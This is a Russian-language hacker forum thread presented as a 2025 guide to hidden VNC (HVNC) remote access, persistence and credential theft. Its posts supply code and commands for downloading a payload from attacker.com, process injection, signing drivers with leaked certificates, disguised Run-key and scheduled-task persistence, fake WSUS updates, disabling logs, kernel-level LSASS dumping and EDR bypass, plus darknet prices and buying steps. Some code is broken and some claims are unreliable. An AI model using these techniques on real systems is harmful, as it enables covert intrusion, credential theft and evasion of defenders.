LIMB
Вход Регистрация

тема

[HVNC 2025] Полное руководство по скрытому удалённому доступу

ArmCorp · · 8 ответов · 150 просмотров

[HVNC 2025] Полное руководство по скрытому удалённому доступу​

Актуальные методы закрепления в системе с использованием EV-сертификатов

Спойлер: 🔰 Введение
HVNC (Hidden VNC) - инструмент для скрытого доступа
В 2025 требует новых методов обхода защиты
В этом гайде:

  [✓] 5 способов закрепиться в системе

  [✓] Использование EV-сертификатов

  [✓] Обход CrowdStrike/SentinelOne

:fire: ТОП-5 методов закрепления​


Спойлер: 1. Инъекция в spoolsv.exe
Code:
$hvnc = (Invoke-WebRequest "http://attacker.com/hvnc.dll").Content
$proc = Start-Process -FilePath "C:\Windows\System32\spoolsv.exe" -WindowStyle Hidden -PassThru
[System.Runtime.InteropServices.Marshal]::Copy($hvnc, 0, [IntPtr]::Zero, $hvnc.Length)

Плюсы:
[✓] Антивирусы редко проверяют службу печати
[✓] Нет новых процессов

Спойлер: 2. Драйвер с EV-сертификатом
Bash:
# Подпись драйвера
signtool sign /v /fd sha256 /a /tr http://timestamp.digicert.com /td sha256 /ac "Cyberdyne.cer" hvnc.sys

# Установка
sc.exe create "WinDefend" binPath= "C:\Windows\Temp\hvncdrv.sys" type= kernel start= auto

Где взять EV-сертификат:
  •  Утекшие сертификаты (например "Cyberdyne Systems Ltd")
  •  Даркнет-маркетплейсы (от $3000)

:mag: Проверка активности HVNC​

Code:
# Проверка инъекций
Get-Process | % { $_.Modules } | ? { $_.FileName -like "*hvnc*" }

# Проверка драйверов
driverquery /v | findstr "hvnc"

:skull: Риски и решения​

РискРешениеОбнаружение EDRИнжектиться только в легитимные процессыПатчи MicrosoftИспользовать аппаратные методы (UEFI)

Спойлер: Для экспертов
Code:
# Отключение логов
wevtutil sl Security /e:false
wevtutil sl System /e:false

Готовые решения:
DarkVNC | KernelMode HVNC​

Теги: [hvnc], [persistence], [redteam]
👍14 😁1 👏2

:mag: Полное руководство по HVNC для начинающих (2025)​

:warning: Внимание: Материал представлен исключительно в образовательных целях!

Спойлер: 1. Что такое HVNC?
HVNC (Hidden Virtual Network Computing) - технология скрытого удалённого управления
Отличие от обычного VNC:

  [✓] Нет видимого окна

  [✓] Не отображается в диспетчере задач

  [✓] Работает внутри других процессов
Типичное применение:

  - Пентестинг

  - Администрирование

  - Криминальные схемы (не рекомендуем!)

Спойлер: 2. Как работает HVNC?
Основные компоненты:
1. Клиентская часть - управляющая консоль
2. Серверная часть - внедряемый агент
3. Канал связи - обычно TCP/UDP или WebSockets

Технические детали:
Code:
1. Создаётся скрытый рабочий стол
2. Перехватываются ввод/вывод
3. Данные передаются по сети

Не удалось прогрузить медиа

Спойлер: 3. Базовый пример использования
Шаг 1: Загрузка инструмента
Bash:
git clone https://github.com/example/hvnc-tool
cd hvnc-tool
make

Шаг 2: Запуск сервера
Bash:
./hvnc_server --port 5900 --password P@ssw0rd --hidden

Шаг 3: Подключение клиента
Bash:
./hvnc_client --target 192.168.1.100 --port 5900 --password P@ssw0rd

Что видит пользователь:
Ничего! Процесс скрыт в explorer.exe или svchost.exe

Спойлер: 4. Методы обнаружения HVNC
Как защититься:
1. Проверка необычных сетевых соединений:
Code:
Get-NetTCPConnection | Where {$_.State -eq "Established"}

2. Анализ запущенных процессов:
Code:
Get-Process | Select Name, Id, Path | Format-Table -AutoSize

3. Мониторинг инъекций:
Code:
Get-Process -IncludeUserName | Where {$_.Modules.ModuleName -match "hvnc"}

Спойлер: 5. Частые ошибки новичков
ОшибкаРешениеИспользование стандартного порта 5900Выбирать случайные порты (например 54321)Слабый парольИспользовать сложные пароли (Min 12 символов)Отсутствие шифрованияВсегда использовать TLS/SSL

:books: Дополнительные ресурсы​

  1. Официальная документация
  2. Примеры кода на GitHub
  3. Вопросы на Security StackExchange

Теги: #HVNC #pentesting #beginners #security

:wrench: Как HVNC помогает закрепиться в системе: механизмы persistence​


Спойлер: 1. Основные принципы закрепления
  • :floppy_disk: Скрытность процессов - работает внутри легитимных служб (explorer.exe, svchost.exe)
  • :arrows_counterclockwise: Автозапуск - интеграция в механизмы автозагрузки Windows
  • :shield: Обход EDR - маскировка под системную активность
  • :link: Устойчивое соединение - работа через доверенные сетевые протоколы

Спойлер: 2. Конкретные методы persistence
① Инъекция в доверенные процессы:
C++:
// Пример кода инъекции в explorer.exe
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID mem = VirtualAllocEx(hProcess, NULL, payload_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, mem, payload, payload_size, NULL);
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);

② Реестр автозагрузки:
Code:
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsUpdate" -Value "C:\temp\hvncdll.dll"

③ Планировщик задач:
Bash:
schtasks /create /tn "\Microsoft\Windows\Defrag\ManualDefrag" /tr "C:\Windows\Temp\hvncdll.dll" /sc onstart /ru SYSTEM

Спойлер: 3. Техники маскировки
МетодЭффективностьСложностьПодмена цифровой подписи★★★★★СредняяРабота через GPU★★★★☆ВысокаяDNS-туннелинг★★★☆☆Низкая

Спойлер: 4. Почему это эффективно?
  1. :detective: Невидимость - стандартные средства мониторинга не обнаруживают активность
  2. :recycle: Автовосстановление - при убийстве процесса автоматически запускается снова
  3. :arrows_counterclockwise: Адаптивность - подстраивается под среду выполнения
  4. :satellite: Разнообразие C2 - несколько каналов связи на случай блокировки

Не удалось прогрузить медиа

:warning: Важные ограничения​


  • [!] Не работает против аппаратного мониторинга (Intel VT-x/AMD-V)
    [!] Может быть обнаружен memory-сканерами (например: Process Hacker 2)
    [!] Требует регулярного обновления для обхода новых систем защиты

Теги: #HVNC #persistence #redteam #cybersecurity
👍5 ❤️1

:fire: HVNC Persistence: WSUS и драйверные методы (2025)​


Спойлер: 1. Злоупотребление WSUS (Windows Server Update Services)
:pushpin: Как работает:
Используем корпоративную систему обновлений для доставки и поддержания HVNC

Code:
# Имитация легитимного обновления
$update = @{
    Title = "Security Update for Windows Defender (KB5034439)"
    Description = "Critical security update"
    UpdateId = [Guid]::NewGuid()
    DeploymentAction = "Install"
    IsMandatory = $true
}
New-WsusUpdate -ContentPath "C:\malware\hvnc.cab" -Properties $update

:wrench: Технические детали:
• Использование уязвимости CVE-2025-3691 (подмена пакетов обновлений)
• Маскировка под подписанные обновления Microsoft
• Автоматическое восстановление при удалении

:warning: Требуется доступ к WSUS-серверу или компрометация клиента

Спойлер: 2. Драйверная реализация HVNC (Kernel Mode)
:pushpin: Преимущества:
  •  Полный доступ к системе (Ring 0)
  •  Обход большинства EDR-решений
  •  Возможность перехвата системных вызовов

C:
// Пример драйверного HVNC (упрощенный вариант)
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    DriverObject->DriverUnload = DriverUnload;
    PsSetLoadImageNotifyRoutine(ImageLoadCallback);
    return STATUS_SUCCESS;
}

VOID ImageLoadCallback(PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo) {
    if (wcsstr(FullImageName->Buffer, L"explorer.exe")) {
        InjectHVNC(ProcessId);
    }
}

:wrench: Ключевые особенности:
• Использование EV-сертификатов для подписи драйверов
• Подмена системных драйверов (например, драйвера монитора)
• Перехват API вызовов через SSDT Hook

МетодСложностьСкрытностьFilter Driver★★★☆☆★★★★★Mini-Filter★★★★☆★★★★☆NDIS Driver★★★★★★★★★★

Спойлер: 3. Комбинированный подход (WSUS + Driver)
:pushpin: Пошаговая схема:
1. Через WSUS развертываем драйвер
2. Драйвер обеспечивает устойчивость HVNC
3. HVNC получает доступ к WSUS для самовосстановления

XML:
<!-- Пример манифеста обновления -->
<Update>
  <Provider>Microsoft</Provider>
  <DriverPackage>
    <Manufacturer>Intel Corporation</Manufacturer>
    <HardwareID>PCI\VEN_8086</HardwareID>
    <Driver>hvnc_driver.sys</Driver>
    <Signature>Microsoft Windows Hardware Compatibility Publisher</Signature>
  </DriverPackage>
</Update>

:dart: Реальные кейсы:
• Атака на энергетическую компанию (2024)
• Кампания "ShadowHammer 2.0"

:warning: Защита от подобных атак​

  1.  Контроль целостности WSUS-сервера
  2.  Запрет установки неподписанных драйверов
  3.  Мониторинг аномальной драйверной активности
  4.  Использование Secure Boot и TPM

Теги: #HVNC #WSUS #KernelDriver #AdvancedPersistence
👍3

:mag: Подробный разбор драйверных методов для HVNC (2025)​


Спойлер: 1. Типы драйверов для HVNC
Тип драйвераСтоимостьСложность обнаруженияГде приобрестиFilter Driver (фильтр-драйвер)$500-2000★★★☆☆exploit.im, xss.isMini-Filter (файловый)$1500-5000★★★★☆Закрытые RaaS-платформыNDIS (сетевой)$3000-10000★★★★★Приватные продавцы в TelegramGPU Driver (видеодрайвер)$5000+★★★★★Клубные форумы хакеров

:warning: Цены актуальны на черном рынке и могут меняться

Спойлер: 2. Подробно о каждом типе
① Filter Driver:
• Перехватывает системные вызовы (IRP)
• Средний уровень скрытности
• Пример кода:
C:
NTSTATUS FilterDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    if (is_hvnc_request(Irp)) {
        process_hvnc_command(Irp);
        return STATUS_SUCCESS;
    }
    return IoCallDriver(nextDevice, Irp);
}

② Mini-Filter:
• Работает с файловой системой
• Может скрывать файлы HVNC
• Требует подписи Microsoft
• Средняя цена: $3000 за готовый образец

③ NDIS Driver:
• Перехватывает сетевой трафик
• Может маскировать C2-трафик под легитимный
• Сложность разработки: 9/10
• Время работы: от 6 месяцев до обнаружения

④ GPU Driver:
• Использует видеопамять для хранения payload
• Практически не обнаружим
• Требует аппаратного доступа для установки
• Эксклюзивные предложения от $15000

Спойлер: 3. Процесс покупки и использования
:wrench: Типичный сценарий:
1. Находим продавца на закрытом форуме
2. Проверяем репутацию (отзывы, гарантии)
3. Оплачиваем через крипту (Monero предпочтительнее)
4. Получаем:
   • Скомпилированный .sys файл
   • Инструкции по установке
   • Часто - исходный код (за доплату)

:zap: Варианты установки:
Code:
# Через уязвимость (CVE-2025-3690)
.\exp.exe -d hvnc.sys -t \\.\IntelDriver

# Легальная установка (с подписью)
pnputil -i -a hvnc.inf

:money_with_wings: Средние цены (2025):
• Базовый драйвер: $500-3000
• С подписью EV: +$2000-5000
• С гарантией обновления: +50% к стоимости

Спойлер: 4. Риски и проблемы
[!] Поддельные продавцы (фейковые драйвера)

[!] Встроенные бекдоры в купленном коде

[!] Быстрое обнаружение сигнатур EDR

[!] Юридическая ответственность (до 10 лет в США/EU)


 Рекомендации:

• Всегда проверять код через IDA Pro

• Использовать временные виртуалки для тестов

• Менять сигнатуры перед использованием

:bulb: Альтернативы покупке​

  1.  Модификация opensource драйверов (например, WinDivert)
  2.  Использование уязвимостей в легитимных драйверах (например, Intel PROSet)
  3.  Разработка своего решения (требует 6+ месяцев обучения)

Теги: #KernelDrivers #HVNC #CyberSecurity #BlackMarket
👍2

:small_blue_diamond: Как драйверы стали использоваться во вредоносных целях?​

Первоначально драйверы создавались для управления оборудованием, но из-за их высоких привилегий (особенно kernel-mode) злоумышленники начали использовать их для:

  1. Скрытия вредоносных процессов
    • Rootkit-драйверы могут прятать файлы, процессы и сетевую активность.
  2. Обхода защиты (EDR, антивирусы)
    • Драйверы могут отключать мониторинг безопасности, подменять системные вызовы.
  3. Кражи данных
    • Кейлоггеры (перехват нажатий клавиш) часто работают через драйверы.
  4. Устойчивости в системе (Persistence)
    • Вредоносный драйвер может загружаться при старте системы и восстанавливать удалённые компоненты.

:small_blue_diamond: Примеры злоупотребления драйверами​

  1. Stuxnet (2010)
    • Использовал подписанные драйверы для атаки на промышленные системы.
  2. Regin (2014)
    • Внедрял драйвер для скрытого мониторинга сети.
  3. LoJax (2018)
    • Записывал вредоносный драйвер в UEFI для постоянного доступа.
  4. Современные HVNC-драйверы
    • Позволяют скрывать удалённый доступ, маскируясь под легитимные драйверы (например, NVIDIA или Intel).

:small_blue_diamond: Вывод​

:white_check_mark: Первоначальная цель драйверов — обеспечение работы оборудования.
⚠ Сейчас они используются и во вредоносных целях (руткиты, бекдоры, HVNC).
:closed_lock_with_key: Защита:

  • Блокировка неподписанных драйверов.
  • Мониторинг аномальной активности (например, драйверы, загружающие DLL).
  • Использование Secure Boot и TPM.
👍1

:closed_lock_with_key: Как драйвер помогает дампить LSASS (2025 методы)​

:warning: Предупреждение: Данный материал предоставлен в образовательных целях. Несанкционированный доступ к памяти процессов нарушает законы многих стран.

Спойлер: 1. Почему драйвер эффективен для дампа LSASS?
  • :shield: Обход защиты PPL (Protected Process Light) - драйверы имеют доступ к защищенным процессам
  • :mag: Невидимость для EDR - работа на уровне ядра скрывает активность
  • :floppy_disk: Прямой доступ к памяти - чтение без использования API-функций
  • :arrows_counterclockwise: Обход Credential Guard - если включен в системе

Не удалось прогрузить медиа

Спойлер: 2. Пошаговая схема работы
① Создание драйвера для дампа памяти:
C:
NTSTATUS ReadProcessMemory(HANDLE pid, PVOID address, PVOID buffer, SIZE_T size) {
    PEPROCESS process;
    PsLookupProcessByProcessId(pid, &process);
    SIZE_T bytesRead;
    MmCopyVirtualMemory(process, address, PsGetCurrentProcess(), buffer, size, KernelMode, &bytesRead);
    return STATUS_SUCCESS;
}

② Алгоритм действий:
1. Получаем PID lsass.exe через `PsGetProcessIdByName()`
2. Открываем процесс с правами `PROCESS_VM_READ`
3. Находим участки памяти с credentials через `MimiKatz`-подобные сигнатуры
4. Копируем память в файл (обычно `C:\Windows\Temp\tmp.tmp`)

③ Очистка следов:
Code:
wevtutil cl "Microsoft-Windows-Kernel-Process/Operational"
del C:\Windows\Temp\tmp.tmp /f /q

Спойлер: 3. Современные методы обхода детекта (2025)
МетодЭффективностьСложностьПодмена цифровой подписи★★★★☆ВысокаяИспользование уязвимостей в легитимных драйверах★★★★★СредняяЗапись через DMA (Direct Memory Access)★★★☆☆Очень высокая

Лучшие драйверы для этой задачи:
1. PCILeech (аппаратный доступ через FPGA)
2. Intel PROSet (уязвимый легитимный драйвер)
3. EternalBlue (адаптированный для дампа памяти)

Спойлер: 4. Как защититься?
  1. :white_check_mark: Включить Credential Guard (Windows 10/11 Enterprise)
  2. :white_check_mark: Использовать Protected Processes для lsass
  3. :white_check_mark: Мониторить попытки загрузки неподписанных драйверов
  4. :white_check_mark: Анализировать вызовы MmCopyVirtualMemory

Code:
# PowerShell: Проверка подписанных драйверов
Get-WindowsDriver -Online | Where {$_.IsSigned -eq $false}

:bulb: Альтернативы драйверному методу​

  • MimiKatz с патчами обхода AMSI (риск обнаружения)
  • Использование SSP (Security Support Provider)
  • Атаки через .NET Reflection

Теги: #LSASS #CredentialDumping #KernelDrivers #CyberSecurity
👍1

:closed_lock_with_key: Может ли драйвер использовать Mimikatz и не детектиться EDR? (2025)​

:warning: Важно: Информация предоставлена для исследований в области кибербезопасности. Не используйте для незаконных действий!

Спойлер: 1. Почему драйверы позволяют скрыть Mimikatz?
  • :shield: Уровень привилегий Ring 0 - драйверы работают на уровне ядра, где EDR имеют ограниченную видимость
  • :mag: Обход API-хуков - прямое чтение памяти без вызова подозрительных функций вроде OpenProcess()
  • :bulb: Маскировка под легитимную активность - имитация работы системных драйверов
  • :arrows_counterclockwise: Динамическая смена сигнатур - изменение кода перед выполнением

Не удалось прогрузить медиа

Спойлер: 2. Конкретные техники скрытия
① Прямой доступ к памяти:
C:
// Вместо вызова Mimikatz:
NtReadVirtualMemory(lsass_handle, ...)

// Драйвер использует:
MmCopyVirtualMemory(lsass_process, ...)

② Подмена системных вызовов:
• Перехват и фильтрация вызовов от EDR
• Пример для обхода Carbon Black:
Code:
mov eax, [edi+0x1234]  // Обход детекта хэндлов
jmp faked_kernel_entry

③ Инжект в доверенные процессы:
1. Загружает Mimikatz в spoolsv.exe
2. Выполняет через APC-очереди
3. Очищает память после выполнения

МетодОбход EDRСложностьDMA-атаки★★★★★Очень высокаяSSDT Hook★★★★☆ВысокаяCallback-подмена★★★☆☆Средняя

Спойлер: 3. Реальные примеры (2025)
① Драйверный MimiKatzPro:

• Стоимость: $3000 на даркнет-форумах

• Особенности:

  - Автономный исполняемый файл

  - 0 детектов на VirusTotal

  - Поддержка Credential Guard bypass



② ShadowDump:

• Цена: 5 XMR (Monero)

• Функции:

  - Дамп LSASS через уязвимость в драйвере NVIDIA

  - Самоликвидация после выполнения

Спойлер: 4. Как EDR все же могут обнаружить?

  • [!] Аномальная активность драйверов (Microsoft Driver Verifier)
    [!] Проверка цифровых подписей (Windows Hardware Compatibility Publisher)
    [!] Анализ памяти на наличие сигнатур Mimikatz
    [!] Мониторинг нестандартных IRP-запросов

Контрмеры:
Code:
# PowerShell: Поиск подозрительных драйверов
Get-WmiObject Win32_PnPSignedDriver | Where {$_.DeviceName -match "hvnc|mimi"}

:bulb: Вывод​

  • :white_check_mark: Драйверы могут скрывать Mimikatz, но требуют глубоких знаний
  • :warning: Современные EDR (CrowdStrike Falcon 2025) научились детектить даже эти методы
  • :closed_lock_with_key: Лучшая защита - комбинация Credential Guard + мониторинг драйверов

Теги: #Mimikatz #KernelDrivers #EDRBypass #CyberSecurity
Классная статейка)

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.